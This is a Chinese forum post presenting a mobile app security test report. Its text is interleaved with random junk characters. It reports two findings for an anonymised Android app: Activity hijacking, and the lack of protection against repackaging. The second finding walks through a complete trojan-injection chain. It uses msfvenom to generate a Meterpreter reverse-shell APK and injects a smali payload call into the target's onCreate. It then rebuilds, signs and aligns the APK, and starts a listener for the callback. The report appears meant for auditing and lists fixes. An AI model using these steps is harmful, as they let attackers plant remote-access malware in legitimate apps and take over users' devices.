: ~, }4 n( U4 a" v + V- t9 C7 L4 P( K0 f 表1-2 测试结果 5 D6 \/ J! [2 y! ?0 E/ Q2 D4 L 6 f1 N5 c% }( I g2 A) k

& N; W8 U' r7 H- W $ J' S N9 S$ m; u3 a- V

+ q3 o& r0 I5 f& M7 P - `$ O9 h4 L9 u8 R, G5 c   % y5 K7 `3 `! C8 R5 C1 u 0 |3 p$ ]3 H3 z- e- g: V: A' ?( U

4 [ q" p# x) j; O & I, Y# s- ~" \2 S+ P; U0 D+ S

5 C2 W$ e. N8 \' P* @1 {, |3 J0 |: m: U( F) g8 { 2 检测结果                    ! ~( n- F8 z6 q1 s/ o/ B6 R/ ` , |7 \3 f- H$ `( j7 L+ x1 _

6 M0 O2 X. ~! o" C" S5 s6 B- @7 E2 J6 X) B% E& \& D! j

; i" G' R; {: B; h. \. m ) Y* Z% c0 z0 W& e4 F# _; O7 k 2.1 某某某 % B( \* Y: c# U. G5 C7 ^8 G * k% z2 M5 e5 V+ w0 F; C6 L& `

1 Y7 V3 P/ U9 Y" `! A5 V& Q' P0 b I# t3 C4 X F" G

! h/ \7 S+ I7 I$ Y, s, s4 \, s( q1 j, e- v% t& c 2.1.1检测目标 $ r7 T" F1 \$ e; t/ |1 O + u* ~( \, s1 n: P: `

' e. K L- |8 _! S7 Y' ^- i & z# ~" P+ F% f( Z2 l# P: u& {

5 R" }- F! c/ d7 q! u 1 k9 Y* H/ k5 N% ^+ x 目标地址: 某某某某某某APP 0 V8 c6 e# b" V4 Q/ G4 L& a; s- K; J A* C: y( z

: q( P4 ^' `5 o% b" m( m ; s5 F. a* Q f

) R2 Z, n* p' V/ [, e- p 9 u, H, |, U- v% D( E 2.1.2检测结果 ' c7 Z. }6 Z! u3 t+ j+ V. P& x' f8 m- ]" S5 H8 f3 z9 y) s

( r/ v1 j, U) M5 \4 h' M: m " m/ _9 r8 l0 D

& X# k" S- g, q0 \& j% q 4 z1 x3 x6 }0 w* @; s 2.1.2.1 - ^3 E& L) m4 V8 L4 Y& l - U; }6 o* ?) ^" a

/ \0 @" v) G3 `7 S: ~: M 1 M$ a! b( p9 o" h

" k9 C( T- n7 X |/ [1 ? # H" W4 P# [% @& U, U3 ~ 漏洞链接地址:某某某某某某APP ; t z5 A- l& D& t : w5 ~$ {" c1 P9 f

6 d* f1 u+ }2 Z5 N4 s Y2 U3 X# a% x+ j

. y% B& c" g$ D4 D" d! T( k 3 P5 @+ ^# d# K4 r5 T* r. i/ b   & C% U4 ~) Y6 m/ [ s7 D3 g u C8 n) ^2 Q

: k. [ r, G: c+ ^ & F" n: I+ z* r* R

$ L; N$ |9 e+ q$ A/ v7 g5 D0 a( V; @# j7 b# C5 |; M s 漏洞分析及取证: 5 P4 O* c7 s, I1 A2 b . I' _( d9 z6 T, v

- X* r# k' r2 ]3 a2 O- r 1 S9 X! ?* e' p2 v! u0 `

% D) A+ u* r4 ^: E7 h 9 R( M3 V* D3 I% a& d ]+ X                  通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 8 ?: q" B$ M6 h8 v# w' f4 w1 F5 l* w9 [& V0 H. C

# G0 A! ~- F- M/ U i# _4 h: m# a / B0 B* }0 x( U% o! Y' |+ t: i+ }

) }/ H: z- J# r) o. j& I7 f- V& R6 q$ e& G      3 u! w6 K5 m' |9 u - T4 c+ | k5 x/ ]3 j9 V7 N

# P$ `6 l4 {: A# d* K% k$ `! I $ G# u u( U5 B

5 g3 P1 A5 C8 G( c @* y6 h 4 H+ ]- B/ ]. F9 G% T- M                       ; \2 B9 Z0 P8 W* }, M: n1 j* d. y" \4 Q$ w

& j; @# }# ^) {) R1 x6 I" g3 L% r7 [$ o- H

+ D( X7 G* C' y1 b3 @3 o 6 i( J) P2 N/ k8 \7 G$ O 5 E6 ]/ ^# X# P' Z0 ?4 e 1 Y( ]6 Y. Z% e- U; J/ b

' ?/ i- W- H4 v5 F 6 ?/ g: S% |0 h: g$ G

^1 K& E0 X* w+ Y9 L! O) M; O+ C: A5 J, C, `4 l4 x! D* b# u % ]3 R' n% X5 _2 Z. x, W, p; |: f" c& `& o* R: r

2 C; v9 J, L( ?* D( T $ L, o4 F" p U

! ~, y( o* p4 K' {" r & v! Q0 h9 t5 X6 [ 3 \# L3 _* A: [ $ B! T* J% e: x+ u1 |# k

8 E' z7 Z" ~% V7 n; S 1 Y/ y; w( O1 H5 q& P+ I

" O9 o7 E1 }. _6 }$ m. B* ^" P3 {* f4 ?) Q* H 漏洞危害:高 & w) r" H8 S9 j& d) Z 4 I# o L; E2 [. u6 g- R8 B

9 o, K* ~5 P5 I& G+ b5 H N% }2 r0 L! {
1 B) `7 M; ~9 |1 r% V# G1 `) c * d+ ^7 a* t* F/ g) U8 P + Y _% S) e5 ~2 G c, Z' H, o9 I0 V1 U C7 X1 u: A: e- k/ h) p0 ?) n9 B! T* w4 I- C" l+ r. v1 X; G8 {" R" F: W3 X& M _+ J' L* M, h% p3 K+ m* ~; d8 G, i$ T7 R0 D) |/ n# I+ c: r- D v: e% ^6 Q* F0 G& L% A3 I* y+ V) u% [6 r, V7 E3 P1 \. `; Y. ^5 A/ i3 m6 t: z1 ~- H! A$ L1 @ M7 h3 |9 q- _0 E2 ^. P) z% P4 r. `; Q& y' ^ ~, U6 ~: c. b ^5 ^! Y$ c! I' w1 d9 ?' J* n2 U: J# u8 }9 V1 s L' a9 u$ a; N+ l* b0 T1 a: |- j$ T' U) ~ }! y' w- U( z) t% y& D0 m" \+ X% {. C- q! x1 |2 E5 l1 R3 Y. U* e0 ^% j% m5 [2 {; x C7 F+ @1 G; `. X+ T2 x- r
: I$ @ I6 y7 K! L* H% G ( p( l! ^0 l" M" p. S2 R

3 X! R1 j4 @4 H9 _! j* w8 e ; l: Z- K; p% k4 Y 严重程度 3 S- ]/ Y3 q! X7 ` % }6 K) _5 C9 s [0 k2 b

6 E9 I1 z/ ]) R: Q9 a 9 M* E, J' j- v( s) N! u
8 ? j. C C# @( Q o. _: g+ Z& j2 Y# `

( D5 K& d, d+ [& w8 h3 n' J/ m, Y 6 z* D: R+ b6 G( q 高 1 F' `- L# e5 Q. D3 Q { 7 O* m: e: T* c# ]+ E

# ~2 }' H$ Y8 p: M0 | . j% _& I/ w; c4 ~
0 n1 U+ y( ?4 y3 B0 L" h8 r: `/ n" k, E) ] # c* w5 D( c& K2 d

0 b9 d' e! a- Z1 [! ]; F" W / i r0 N c' T2 v ■ ; U8 m9 O* |; Z3 m. N% h 7 X& O* ^. l( Y/ E

+ e A; n0 ^# X! ~9 \ / ^, \, K3 d- K
# X' R- @, \. z4 ~- @; X8 q ) `/ b- t5 P# i5 }+ I1 T2 ]

6 u. V& ?, V5 R/ M( k2 ]) L3 C! m3 T' K0 r 中 $ @7 N; t$ y" t+ l# z3 w7 J) k ' M5 J8 @6 k4 \3 v8 Z

) v) I+ e3 W" N3 u; F q6 X" P' a6 f 6 C( g( m9 M6 O( `
$ C0 l! `6 }& Z! o/ R $ \9 @3 q9 U! D! R6 _: O( X: V

$ _" |; G$ ~9 | % K T) P- B# j   * W. D( F0 K: i! ~ , Z: M& H& Q6 ~4 H* ?

5 u* v! }2 `+ k$ l / o% E; I3 H- a- t+ p. v" h. u) n
# f! |4 j/ D# G+ v) f9 ^) w 1 F* H8 M8 J( _5 \' @

2 {0 x2 k# {8 b3 J; w4 M 7 _0 J, N( H: y4 h @ 低 # Z8 d- J' r: _/ L ) Y6 _0 H, Z; O4 U9 U

" E) ^0 D, M/ ~; ~# I # o# R. V2 Y6 H1 T' k9 `
+ E! U- j! d0 C, d ( n. C: F! ~8 T% V k( l8 c

3 O' V; t& ]3 l/ M 6 a$ A5 \ m; K* a$ Z- o; }5 o- }   - z: }$ E0 }) T, Z* S! T 2 F1 V$ ?6 ?! `% N% m5 {3 F

' D# A+ Z. `) A$ t+ \& I0 H& C: D K q; {1 K' q
& s4 a. G4 U5 L6 r* N0 Q4 k" K3 P- B* Z' U5 y8 w+ e" Q
3 d: t7 K* f% }! k( F" k- g9 A # w( w+ o$ Q4 t5 p3 w

7 i4 F) G6 t$ [0 ]" w* S, D4 R5 N . p9 ]* J: [0 b" [7 r6 e   3 @$ q+ v, j0 S* ?) r: c% V- z ! W) j; ^: D) k7 H

4 T+ t& S: N9 k5 i" G & D/ t& u% F2 M' e0 z# @; Z

6 a8 i; ?# r# o5 C; G; u9 h! _$ v ! v7 ?. i) }- \' u 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 4 s# ]# o- j2 @! u7 W L3 b/ z; P7 G0 _% A

! v, ]! h7 P4 Z& W$ _" a% X5 c + F' X3 [( B/ ~* b$ k

& q* [% M4 W$ N 0 P+ `& i( a( g% p           & O0 j) v% B: w/ z / o6 g# ~* t4 i

, g+ ]$ j: Y; z2 l: |/ |: h9 I: \( N! c/ K. n/ k6 ?6 o+ c- j

( l( I% @4 x" T 4 W$ L4 C" u$ [3 }$ z6 f   2 c Q, M$ {4 C7 R& r0 s6 S 2 O+ `0 t3 A" R1 f

, i$ b5 p- z$ F. A3 w+ O % ^% U0 Q5 s0 h4 I

* S2 x5 j7 ?8 z 6 l/ ^% g& F! m0 \3 _3 A6 s1 \ 2.1.2.2 5 K: X+ a* c( _# ^" {3 B( P, ?. C. d/ L' B

& F* i: b9 `9 s 1 \2 ] D* E5 R8 g3 `0 |

) D" `- a$ c6 e9 h8 Z; a' m2 ` 3 i) L" G/ G/ Y0 x 漏洞链接地址:某某某某某某APP & S% J6 Z1 i) V5 k* B 7 v1 q! l. p5 ?6 z8 {# Q

O* e* w q3 q, s9 I6 M; } - V$ W0 `+ e! S

. h+ P6 h- a! n% Y _( i8 W$ G2 k- M* f1 x" a 漏洞分析及取证: ( o& Q+ g. G$ Q6 w' Q9 M5 r 6 f3 q$ B6 w! }

( K6 y' l [3 `4 y" E- a G * i1 q; K$ F9 m& w& F. r

# y; [! B' F6 t5 d T! O) g6 s 2 ~2 J Y5 w% N- t                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 7 L+ l- W) n* ^9 } / I- U9 K) v. g/ M, ]- [. X

8 Y5 }5 K$ {$ e% e 2 k+ c q. [# {4 x

& E `$ Y0 [& D) v0 h7 b% `" W 5 z+ N# N& `6 N: s0 b 用Metasploit 生成木马 apk 1 ?# j3 ]3 V7 D; h9 S: c: O5 a * j) D" z& v: A

1 t' b( F+ o/ G1 [4 t9 A6 T 9 B' O4 Y1 ?& Z$ L

; y+ [2 v9 Z4 y( d$ ~# D2 d 0 [) z5 v4 r! s( R4 E* ] msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk % {- v6 U# f- ~7 U; K. ]4 ]8 h5 {

\" E( [7 k z: C: j0 l ; h; s& R$ j5 W

k7 v t- L! [) _. {- l ' Z% Z9 y! v4 c' i 反编译目标apk和木马apk ) s C- _6 ]+ N4 I* _8 C' G 2 ]( }8 E5 _3 }# g/ Z8 @

8 { T4 {* e$ e' u- m2 u, v' H. |0 W- A6 D4 s, \. \& e+ F8 O

1 Y8 `% \5 g1 \. o$ G6 r, S/ f' ?7 |+ f9 K S# T apktool d target.apk
* s; Q$ O$ b* W [" I4 i+ c" i# [) X7 g# W; K( q apktool d cockhorse.apk
3 i! l8 _' e8 F6 m, \4 _. q 7 C' }* w$ a+ j4 S6 w$ Z' J- g" ^

- x. @) v& p9 l( y `' c0 Q ! k1 W+ ^$ t$ \1 ~8 [

" ]+ `: p$ T# k" N9 {& h) O7 t7 L0 O4 U' I0 \, t 木马 apk 注入目标 apk ; t! e, [4 T0 w+ ?5 q, f s# O3 b+ f9 U" }

& q* X" j1 h! ~ X' E9 Z$ n2 s% [2 X1 h1 g# l

: ~- h7 c7 Z) }! X# e" V- p" |+ T& o - A# [' _$ k$ }- \4 ^3 @3 x 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
: ^: W: h2 h8 {0 ~4 i4 R 8 d( X/ t- Q0 k invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
. e6 I$ l5 Q% z8 e2 X+ e6 E& i+ [* G

' V3 K- a5 i* ? J5 J2 O5 o) {) \7 P* u/ q: y4 D4 q$ V

% x& c* X, h B1 I7 U& o8 F' U( ~ 6 {* {; }9 B7 L1 T9 `2 V" J# k0 o 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 8 G6 h' F7 p \ x4 b( T* o. G8 e, B/ P" T4 n9 @

3 a/ y/ Z) e' f0 A 6 e- y- a2 `: ^3 @* ]7 i

- e; r; j( U/ @* o- k4 Q# E7 _ 7 J" k- ^- e- O, d# ^2 O 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 / R- E( s2 K; p; B+ l" o8 i% l0 k/ w- ^/ ^

9 d2 W) i0 S: w8 i( b/ I" P1 I " M0 k1 e/ t! m. k5 \) f8 `( M

' I5 m+ ]2 b- e6 t: C! W! [ + \: l1 {0 J6 O" ? y 回编译生成最终 apk . A. u' [5 S6 J! P % O7 U5 ^" y$ D

$ T" e `1 z. i" ?+ l K0 z9 h0 I; b

+ n/ |* _3 ^) p & A2 C8 Q B9 B! v# w 重新打包 3 l1 m$ W4 V* Z4 T2 D' \0 d 8 }- D ?, ]7 k# V

/ s9 Q% }" H" y% u# w2 \% Q ' O+ S5 A$ j5 i& n& J$ Q

1 h; t' K: D& f- s3 G9 {6 \ # n( Z$ E( p- j" w% { N" f0 S' F2 r! K( u apktool b -o repackage.apk target_app_floder + m$ T, o0 g/ i3 Q8 e6 |1 P 9 a4 l& z; V/ j- ?7 a# j/ g

9 s9 K) X' u( v2 u% b6 D# C% ^+ ? + X( X9 l; g2 n

5 Z2 t$ P! \! {/ q " Y/ U7 @2 m/ v7 y# b5 I3 i8 n 创建签名文件,有的话可忽略此步骤 ! |- U9 ]7 `/ M, v' k9 P 1 m4 G- t: e5 P1 `: M$ t& C

0 _3 B; b% y, L' d) M. t) Z3 t# h( J( B P

5 ^1 \9 c/ c; z3 J! s8 Z, a% s6 @1 S; l& j* e keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                ( x$ y- Z$ {2 }$ M$ s+ V5 l 1 F0 s' w$ C6 @2 i

4 O/ [$ ~* q0 Q i W1 ?3 W / s$ g. H( V4 V+ r2 ?

2 ?* q$ N1 M0 D' |* Y 0 w3 M4 v1 B+ V/ Z3 @0 ]0 u, o3 A# Q# u 签名,以下任选其一 4 ]# J2 `( _ d$ J9 j$ m' o! l & K* Z! ^3 U) X

1 y0 z0 `( C! u% G$ F# \5 b/ O + a2 |; h$ }" o# S: W

/ n! ?6 s& z; \1 s a) i, M " y4 a; n7 S1 v5 a$ t jarsigner 方式 & D J1 u4 t2 Y9 y9 v: E, f9 M: t9 B% g$ G" J

3 [' ~- \% k6 ? [# c5 F, c ; q0 N& c; D7 D' v5 d4 R( ~% L

% V n' z f2 M- r' i& B ( |2 u! a- B( R& R: t0 C jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname $ W3 F" W# }6 u! U& a; \1 z6 i+ N1 Z2 B

$ S. w; l. W! v2 e0 O, Q. B9 R; p/ y G

: _( G: O/ G5 I6 k4 H) [5 c3 D! o$ N- w6 ?4 l# _: |9 M apksigner 方式 W7 _( i( g2 f5 J / _8 ^8 K/ c3 |+ `9 k( y

( j5 Z8 L4 b5 @8 U6 w5 G; x ' |" n- Q) T+ e' d- e

1 l) t- @2 e/ Q' O2 ~5 H5 q 9 E/ F) a0 a5 c+ e9 A: C apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 0 X% ~' \" O" e! b : c, S& V: a; K5 l% @- ~

1 y) r3 E0 r) N4 v / @% O7 _6 ]. j+ y' @; w7 P

7 m1 I/ L/ S5 ^, @7 y: C2 H : v6 q4 D8 y7 k8 t6 m 如需要禁用 v2签名 添加选项--v2-signing-enabled false 2 t9 J' C% k p9 ^& d$ x8 s/ | {" o. l8 s! `

. E& g- \7 q" k2 R, j ; \1 ?/ P$ w5 b" Z+ Q5 V- a! Y! w* \

6 [$ o& O- F+ j$ L1 b! D6 a/ E$ P6 T& u, l$ r' s9 I* v( H5 P* C 验证,以下任选其一 ) K) O' i# Z7 ?1 Q4 Y# v$ _7 I+ ~0 W5 E( G$ l7 I8 D' S

7 B( ?5 R x4 s/ i% e ( I0 E$ d& ?0 {$ B p+ ^

3 K. n8 x, w$ Q% P+ g6 w& Y9 d z7 Z, x: k: @3 A& l9 F jarsigner方式 ! t" c( r& N, J3 T b0 s5 q! R- d * n9 ^) M/ Z: S% t2 X) t

' e+ g. f E! [6 j/ i / j" a: f% k3 @5 O6 E, ?( q

6 \# `' i9 U- Y7 ^4 \( i , R/ y+ L$ f4 q% ]3 f5 \ jarsigner -verify repackaged.apk 9 z/ F# _* k( |& T% V! |% O Y! _+ B& o3 @3 g

, P' w0 G& u- t( J& w% i0 B/ }7 _; I% a# a; S4 ~" L

9 h' Z- g( `' a M$ ^$ n* ~5 @ ; d( J) t( @2 A- q apksigner 方式 ! f/ h) V* ]0 q5 R( Y 2 s2 O0 E' N( \' c) Z! `" K# t% l8 Z

% R1 h( A) a8 Q5 O, p5 e 8 S/ h+ R3 \ N+ H! O& R

$ H# p8 a! J1 T1 {. e' ^: M' ^2 W 6 a: q- K; P+ z, t* i9 }3 n apksigner verify -v --print-certs repackaged.apk 6 P5 n0 D. R# ]6 u/ h+ o1 z 5 ~3 C9 h' p& w6 k

R5 g6 z2 {2 B) T4 X" t) T% k9 y" X% k4 h

% t0 g' c8 Q, l' R+ m3 o* L8 h+ K4 _7 f6 W( l# A8 N keytool方式 - N* G; S* m- q3 z - e3 G% U$ f, M! r. g: D

5 D# e: ^( v2 V1 I 5 h# B0 @' d Z0 t/ Q

* f0 [% d9 @/ C! n6 W7 x & a+ V) l2 f/ M: ]" a8 t2 \ keytool -printcert -jarfile repackaged.apk # H5 t( Y, Q7 o2 @ * }: s' m. V& ?3 G' U2 J: x

1 |1 @7 ^% l o$ Y4 o : i9 U. t7 @! x# i' t4 v+ u

7 [ Q) |1 z* O4 R5 Q9 N, f, ^% J% ?9 X. R9 G! _ 对齐 4 `; u6 S, X, v 3 f% h7 v; Y% ?% v: J$ r3 l. I

2 @, w0 b2 W8 ~1 `* b, q% v* A( v: Q- i4 B0 t, |# c

& n( a- c% P/ K) c' w1 n / ]# Y3 Z, w$ N! ^ 字节对齐优化 , b, L1 E: F: [' X) z 0 }# q. o5 ]9 q" [

! O; ?6 g) A6 C* N3 |5 T& w + y6 H8 \8 d) J2 u9 a4 g ~) r

+ t+ n! C0 U* u* X / I$ o: f6 s2 N' e+ H, I5 Z) ?+ l zipalign -v 4 repackaged.apk final.apk : D1 u" l4 t t4 X! ^' M 9 U0 a& ~; W' a( N

9 y/ D6 N7 v( A+ D; s. S. }$ r6 }& L G. |5 n2 {

- b+ [3 P3 s' b9 J, B. a; ?! m4 O+ Y9 y( o/ v 检查是否对齐 + m' X$ j) ?9 D5 J 9 k# @4 k% [6 X' A# t0 \( @# r

! }" A7 U; J/ X( E$ v& A 7 Z0 [% b4 Z8 M

K* z( s" M; P0 R! d! ? & n4 \* B* \8 l zipalign -c -v 4 final.apk + N9 Y0 V8 ]! n; |1 g0 X& n % @% z L1 u& q9 k

t j+ g# P# ?) v& a5 ~, |" N, Z; Z- H' n; i

' h; k* E1 K8 \. O2 j" |) }' ` , P' o" C7 a: J6 h; N; u& A 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 ! g4 v& T9 f; l! o2 c, t* G) W8 w* M6 n# ~( O% m N5 t* E

$ C& M4 J* U' [$ u& | 0 f% {( s$ U( }; r& o' H3 f

( q' K1 ^" c" n# k $ `+ ?4 D9 q; e 启动Metasploit控制台,配置参数等待上线 ' g5 e% N4 p2 g( X; y4 b! Q* z0 C 5 A, h- a; V2 `/ b: ~. |2 B' @% o

* `$ m7 Y4 R9 ]3 J) u& ~3 M% [4 z ' g2 M+ Q8 L" b. g

6 _" J4 [9 D7 T1 s 3 I( U! N. F- L; w$ Y q8 \ 在终端依次输入如下命令 1 g' G( W* r2 s3 e3 ?) P) ` R 9 ~$ `0 T( e" Q$ j

& j( y) i' D5 C+ i' h4 w* m8 k) C3 g) E9 g* a+ Y

' X1 d% L; `/ l% w& H2 o * ?( p. N. y) I$ Q+ j; u/ B( @2 E3 K msfconsole 1 D! ]8 x% v& @- c( h7 d 0 k. K5 n2 r4 ?* ]2 o/ H

7 t2 B1 Y' Z% @* p8 F- E1 t( k( c 0 u4 B9 L% Y% Y3 K

: e v4 Y% l2 [3 X! [7 `) B - E! p0 T3 ^; ?: k use exploit/multi/handler 0 l" m7 ^" U' o& a% ~9 z9 @ : Q; \, }2 ]! y; O4 u5 ^3 Z

! ~9 u8 [) W0 w+ A5 @# I" g0 d- a. `7 ?1 K

% O. d5 m& O! e- E, I : I5 `, j2 ]& o b7 v" Z- Y( h set PAYLOAD android/meterpreter/reverse_tcp 8 ?6 R8 \4 Q' z% J4 d) j8 y . _( z9 B7 ^' B5 {; ~

( s, Q- r J; G4 e+ I x t- a: ?' [5 { }" P! O

$ X7 a8 @2 e) t* I, W: g5 c8 G, Y- m5 o6 b9 b. W! T- I, b set LHOST 192.xxx.xx.xx # V0 r# {2 g4 \3 w# z 1 d) ^/ H. l& B6 t" f$ [) |7 ^

H( [7 y4 f8 e; S2 D8 N( r/ O, @ - E) p3 X- y7 m, ?' P5 T

N) s: E5 I- O9 T9 R- Q, ~3 `* p3 Y9 V$ I2 d, U set LPORT 4444 7 d7 [7 \$ }& @# t6 [: v ( h: P' b# P9 V/ ~

% b/ J6 Q, `5 i7 b 5 t3 }- g k' Q

1 }& J: I7 w9 L; ?: ^' H& W 2 R& Q1 W& x( U1 q) K exploit 0 \ i' e+ q7 _- y9 w0 o! b9 [8 g& s. z: W; T% Y

8 E: F6 t3 u m! W; r - H3 z, v- j2 Q8 I" l1 a# J

$ L" T1 H- a9 j) R % j' P7 U! [& V; _, s6 C9 E& { 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               % C* }( h3 c8 d3 v) H9 s& g6 p. d9 f. V5 j! i" R

* c/ j" B0 G6 _# c$ x4 r 6 K1 L8 Z% D3 V

' I! h3 k. i7 a9 r Y 1 q3 ^8 Y6 S8 r3 r7 g 漏洞危害:中 ) B) @4 p4 U2 N+ L: \8 H 2 L4 |4 P# Z6 h3 N/ I8 A7 N

: }, |" m: f f9 U6 I9 J& t ( w9 a$ T6 A- z
a5 L. L3 V. @' k2 e- E 4 x0 v7 {$ b3 v$ d; s- J - H; a/ W* m: }5 E0 b - [$ m0 V+ m7 ?) y+ I* a2 q- d . |$ [4 Q; s$ x$ t7 I1 z' A# X8 ]! E# y, E# s, |; `( U* X; f0 S7 v% A! {* z' Z9 s# u3 e$ R- c# |0 V0 r2 k: g' s+ c: K% k' }; i4 e0 w" X3 K/ g9 T k, V8 G0 {! e8 t4 Z' F+ c# A- i" t! D' |8 x* Q( i. C1 [$ \( w/ h3 S2 {) z1 n M# j1 {" l- [% [0 u( A, m% }% ]( F$ L$ r/ |0 `8 Y$ g/ K1 ^% s+ y' S7 Y0 O) r, W3 o+ L* h8 F! i# a+ `3 t6 v& U( E5 ]4 f9 q1 ]. A0 ]& r/ H3 E0 k" J. G7 U5 a9 o4 _; P2 V6 L6 _6 c$ b3 c ]% ~6 l/ P6 [& {- C7 f* m6 K: h( `7 ?1 P) G) k/ e( y2 w4 b/ Q9 v* A6 a6 L; O- o: U4 ]0 F! g) }- o& w% G9 D2 m0 y7 ^) W1 ]' C$ c9 x$ O% f% v0 h& t3 d
3 L3 E5 Z7 l3 [6 \) v3 K: T- X, Q; { , ^6 I: a; o+ m# E6 r2 @

- H) T+ F7 g% x1 v3 V8 K: W. b: E( v1 y, L 严重程度 1 R# T- y' u: B2 Z b1 _$ V* ^2 M% M

, h0 H' s c+ N* \1 v " u* y2 ?9 M R1 u; Q9 A) N
- b! P$ o9 V9 j8 o$ B 7 |+ e6 r _8 o; }

3 c' [9 J1 \" V 4 ]7 w; h4 W5 t4 ?) x 高 4 o& ~3 N& s5 x* P% B5 d5 }( Z+ x

+ e' g; V7 t2 {* l" n' F- f: i' v, x+ X! t; o/ K1 L5 ?7 [+ U" {- o
+ l+ ^$ D" |. y3 X: U5 u) G: r, D# O9 x% }( |" b6 ]. n! R

^9 t' t5 u {' Q) r" ?% J% @ O8 \1 y+ h) M ■ + H4 j9 O& { P; \0 n 6 [1 v& A$ Y; F' z# I9 ]+ H) Z* Y

! a" \% d3 Z- ~9 ^7 [# _ : y6 x; {5 T& z! ~
9 R9 f& x: X( K/ f' j5 @5 D $ {* r: l! `' o/ E7 \! h+ y! a

+ P& u6 }- Z7 {2 S0 o0 V- f( g7 h# B' D/ q- Z5 i$ Q6 V* y 中 & Q( s0 z" O9 } Y ) b+ ^1 Y6 }# [5 R8 F

9 G' d: @# t( Z& [4 k, e9 g0 y ) w# D7 a% a. c1 k
* C- P' z3 s$ o8 s1 e0 h 3 X9 k3 C, t. X, i5 o7 K+ K 5 L/ r9 s7 N _" V I q5 P" B- m & |. F% b& |! t* l4 J( }

* m# R) S& p: V8 N4 M! y * K( w7 E. R* v, t; |, _: U   2 e! ^1 x+ K3 P+ G " c I; |1 p) [

. ^- H( k* q2 V5 e# N, Z $ C. {/ n1 y* [
# o7 z' i# ]2 s, z0 ^9 b/ y6 H h 0 X s% l( R H1 W, Z0 r

: Z s* _+ c( R4 H: |2 G- M , y9 j# z6 D5 Y. ?( x8 k' ` 低 & Y3 n) r: h+ Q- ~- Z! N4 [2 w& h0 }8 e q8 @" @

, z$ u! F, t; O. ~1 r 7 W- \* e1 k2 U Z; m5 V
( W3 u0 S5 E4 {6 m7 Y0 O/ b. L0 h( L0 x: K2 z & C/ M, b5 D- E8 h! y+ ?4 b+ V3 G1 c, C, Y/ h0 i4 O5 w# y

7 u H6 w% d5 q/ a! h9 c, I$ G9 }4 j2 }. m. J. F   9 `/ }* B9 c6 N0 U: f 2 d: m' W* m8 P2 g

2 f! B9 w N7 D% V& F4 O 5 I$ `& @& J3 |6 p4 ^9 u5 L
5 l/ D5 S9 o6 l$ o 5 ]: K% S) P) ]) @1 ?, |0 j0 v
( G: s* r' }1 ]7 u8 ] 7 `! p4 ~# q ^; u& H0 L5 Q) z

5 H& p, I) Z. A$ B4 ^2 |" y 9 k8 k* O9 `; n/ g& }, {8 h! P' ]   n) j, K/ r6 s6 C3 R; W . {) W' N) v0 w

- B- _9 ^% t7 X0 y. \ 0 |/ |7 p) c, V# ?; ?. K

c' D7 K G( R" H6 q% d * Q5 C9 E0 O; _( z2 S$ C# G7 w 修复方法: . [4 @ U, S& r g - p4 o( }) E7 _" p( u$ s& l

; o5 C2 e5 ^% V ?- i4 n) o9 m C/ l+ p: _8 f1 m

9 ~- H" B7 Y% {9 E/ q, H+ h7 i) ~; A) M0 u6 w               1.在 APP 启动时应做签名校验防止二次打包。
( O1 q6 D4 r" q1 T" e $ f" a6 h$ ^, j5 f8 w# l 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 , N- n O6 ^- n( c$ Y3 b 1 }, z* U: P0 f

6 `# L* {) w8 ~ 3 O# P) n" s+ L* x' M' P+ u ]- }; g( Q9 b 1 r ^2 W7 l+ }4 P, @( m# b8 h

6 m) _; N: C6 Z) x. ~) N- f( P/ y3 w8 ?* l4 w' t   % O$ B0 I! H5 }: P- e4 z . I, [$ B8 ?6 |3 k; V+ B/ O2 Z/ H

) _0 a$ D: ]& T; s' |* y ! x* g4 M% g0 @$ L' W B: @- P ) m* g* a- g& c$ M- T& P/ M6 n 2 L. B6 b6 T) e5 C; M* q* g% A

/ J) a3 o3 q1 k$ B ) u& }% w g8 {5 K% H2 [
3 W) M8 ~3 w6 g* Q2 { ! ~3 @2 i \# B& g# P$ y4 h

- p V+ g/ j9 V, l* e `& o8 l 1 \/ `% i' E4 P6 I4 ?" v5 }, ^3 k* j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表